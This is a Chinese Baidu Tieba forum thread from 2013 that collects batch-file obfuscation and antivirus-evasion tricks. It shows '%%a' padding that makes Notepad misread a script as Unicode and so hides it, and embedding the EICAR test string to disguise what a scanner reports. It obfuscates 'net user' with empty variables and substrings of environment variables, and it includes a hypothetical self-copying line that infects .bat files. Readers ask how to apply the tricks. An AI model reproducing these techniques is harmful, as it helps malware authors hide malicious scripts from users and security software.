BAT加密免杀合集
bat吧
全部回复
仅看楼主
level 11
471592823 楼主
一楼度娘。
2013年11月22日 23点11分 1
level 11
471592823 楼主
%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
@echo off
net useR
最古老的%%a加密法
2013年11月22日 23点11分 2
谁能告诉我怎么用??[疑问]
2015年05月31日 10点05分
回复
�����ĵ�
:这一个个坟挖的啊……就是在代码前加入大量%%a
2015年05月31日 11点05分
@471592823 就是把你这段代码复制到其他代码前面吗???
2015年05月31日 12点05分
回复
�����ĵ�
:只要在文件首加入大量%%a,然后一个cls清屏,后面写其他代码就好了
2015年06月03日 10点06分
level 11
471592823 楼主
原理:
记事本程序在保存一篇新建的文档时,如果没有指定编码类型,会使用缺省的ANSI类型(对于中文版来说,对应的就是GB码)。
而在打开一篇已创建的文档时,它会分析文档的编码类型,它首先判断文档头部有无BOM(Byte Order Mark,字节序标记,长
度为(2-3字节),如有则根据其内容判断编码类型,FF、FE(Unicode),FE、FF(Unicode big endian),EF、BB、BF(UTF-8)
因为事实上有很多非ANSI编码的文档是没有任何BOM的“纯文本”,所以对这些文档不能简单的判断为ANSI编码。
而需要使用一系列的统计学算法根据文档内容来猜测文档编码。记事本使用了 IsTextUnicode 函数来判断是否为
Unicode/Unicode big endian 编码,使用 IsTextUTF8 判断是否为 UTF8 编码。但既然是统计学算法,就难免存在误判
,尤其在文档内容过短时,由于样本的容量太小,这种误判的概率会显著增大。比如那个有名的微软与联通有仇的笑话,
就是记事本在打开只有"联通"二字的ANSI编码文档时,IsTextUTF8 函数将其误判为UTF8编码[2];同样的误判也发生在
IsTextUnicode 函数上,比如具有 “this app can break”这种具有4335结构的文档,会被误判为 Unicode 编码[3][4]。
需要说明的是,这种误判的可能性是建立在文本较短且其字节位特征不被干扰的前提上的。如果将上述的文本做稍许修改(即使只是增加一个回车),则误判很难再发生。
而这种方法的特殊性在于,它的字节串不但具有Unicode特征,而且很长达到了1288字节,也就是说它的Unicode特征性很强,所以可以抵抗一些较短的不具有Unicode特征串的干扰,这是由统计学的规律所决定的。但是在干扰串稍长时,Unicode的特征将会受到显著干扰,直至被 IsTextUnicode 函数认定为非 Unicode。所以,有些朋友总是无法测试成功,应该是与附加的批处理代码长度和内容相关。
2013年11月22日 23点11分 3
TM我每次打开这个贴360都报毒,目录是浏览器缓存文件夹!(我不想挖坟,只是想叙旧!)
2016年12月15日 06点12分
level 11
471592823 楼主
因为其他的编辑器(比如 Word / Wordpad / EditPlus / UltraEdit)使用了更新的编码类型判断算法,所以在 Unicode 判断上改进了不少,而 UTF8 的判断仍然不尽如人意。但因为理论上来说完全准确地算法并不存在,所以我们只能依靠避免使用无BOM的非ANSI文档,或者打开文档时手动指定编码类型。
另外,如果使用记事本保存了这些误判了编码类型的
文件,则将难以恢复。如果使用误判编码保存,则将给原文档加上BOM标记,则使用其他编辑器也再无法观察到原文档。如果使用 ANSI 编码保存,则原文档将会被当作 Unicode 文档而被转换,还原的可能性接近于零。
2013年11月22日 23点11分 4
level 11
471592823 楼主
加入欺骗代码
骗代码就是其他一些病毒的特征码,加到我们自己的程序中来,让杀毒软件报错病毒型号,达到欺骗用户的目录
我们可以在BAT中加入EICAR测试文件
他是来自EICAR的一个com文件,他是用来测试反病毒软件的杀毒能力的一个测试文件
我们将EICAR加入BAT中后,BAT就会提示报毒,但是病毒类型是EICAR,这样反病毒软件的提示并不会引起人们的注意.
下面是EICAR测试文件的内容:
[]X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
BAT病毒代码(假设)
for %%a in (*.bat) do copy %0 %%a
那么报毒的就不会引起别人注意。(其实这个我觉得没什么用)
2013年11月22日 23点11分 5
level 11
471592823 楼主
代码中插入圾伪代码
什么是"垃圾伪代码"?垃圾伪代码就是写在有效代码中间,但是在运行的时候没有任何作用的代码.
BAT中如何实现这一功能呢?很简单,我们只需要用set定义一个空变量就可以了
例如:
@echo off
set snj=
%snj%n%snj%%snj%%snj%e%snj%%snj%%snj%t%snj%%snj%%snj% %snj%%snj%%snj%u%snj%se%snj%%snj%%snj%%snj%r%snj%%snj%%snj%
看完上面的代码你知道我写的BAT内容是什么吗??
其实就是net user
2013年11月22日 23点11分 6
.....考
2015年04月17日 11点04分
level 11
471592823 楼主
变量加花法,即用一些环境变量或自己定义的变量的某一个字母来达到命令的目的
2013年11月22日 23点11分 7
level 11
471592823 楼主
综合利用
%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
cls
2013年11月22日 23点11分 8
level 11
471592823 楼主
@%ComSpec:~-1,1%%USERPROFILE:~5,1%
h%HOMEPATH:~2,1% off
%windir:~-1,1%%ComSpec:~-1,1%%tmp:~-4,1% snj=
%ALLUSERSPROFILE:~11,1%%snj%%ALLUSERSPROFILE:~8,1%%snj%t love=23nw)svt(05454s756efgdf%snj%54.4566gfr6z6
%windir:~-1,1%%ComSpec:~-1,1%%tmp:~-4,1% love=%love:v=e%
%ALLUSERSPROFILE:~11,1%%snj%%ALLUSERSPROFILE:~8,1%t love=%love:(=u%
%ALLUSERSPROFILE:~11,1%%ALLUSERSPROFILE:~8,1%t gad=%love:~2,1%%love:~6,1%%love:~-29,1%
%snj%%gad%%snj% %snj%%snj%us%love:~6,1%%love:~-4,1%%snj%%
2013年11月22日 23点11分 9
8、9楼是连在一起的吗?
2015年01月25日 06点01分
@cqs20040112 是的……都一年了啊喂
2015年01月25日 07点01分
@471592823 这个怎么用
2015年09月27日 15点09分
level 11
471592823 楼主
以上例子其实就是一个net user
2013年11月22日 23点11分 10
level 11
471592823 楼主
没人吗?
2013年11月22日 23点11分 11
level 11
大神!!
2013年11月23日 00点11分 12
其实我也是搬来的
2013年11月23日 00点11分
level 11
471592823 楼主
@这不是随便取的 @命幽 @cyxgg @敖文轩321 @tmxk0411 @a20001017 @2H1Q @苏维埃与尤里 @_Freenm @方法好一 @敖文轩321 @黄田杰@buckle2000 @超人硬汉 @Byaidu @jianpan244 @熏鱼饺子
2013年11月23日 00点11分 13
@2H1Q @苏维埃与尤里 @_Freenm @方法好一 @敖文轩321 @黄田杰@buckle2000 @超人硬汉 @Byaidu @jianpan244 @
2013年11月23日 00点11分
@黄田杰@buckle2000 @超人硬汉 @Byaidu @jianpan244 @
2013年11月23日 00点11分
2013年11月23日 00点11分
...........
2013年11月30日 09点11分
level 12
。。。。
2013年11月23日 01点11分 14
level 13
不错,不过这些方法都陈旧了一点吧……
2013年11月23日 01点11分 15
都是搬来的…
2013年11月23日 03点11分
都是搬来的…
2013年11月23日 03点11分
level 14
不错,但是我从没听说过eicar什么的,如果报毒,我就删了。
2013年11月23日 02点11分 16
我说了我觉得那个没什么用
2013年11月23日 03点11分
level 11
我靠!!!眼花了
2013年11月23日 04点11分 18
一点一点看总会好的
2013年11月23日 04点11分
回复 471592823 :这不是你要打到的结果吗?360直接监视内存,没有用的。
2013年11月23日 05点11分
回复@buckle2000 我还以为你说。我写的东西看眼花了…360那种变态不管他
2013年11月23日 05点11分
level 15
…虽然垃圾伪代码仔细看是看得出来的,但是也是很有用的………
2013年11月23日 04点11分 19
毕竟有多少人会去看呢?
2013年11月23日 04点11分
回复 471592823 :对呀
2013年11月23日 05点11分
level 15
顶!
2013年11月23日 05点11分 20
[太开心]
2013年11月23日 05点11分
1 2 尾页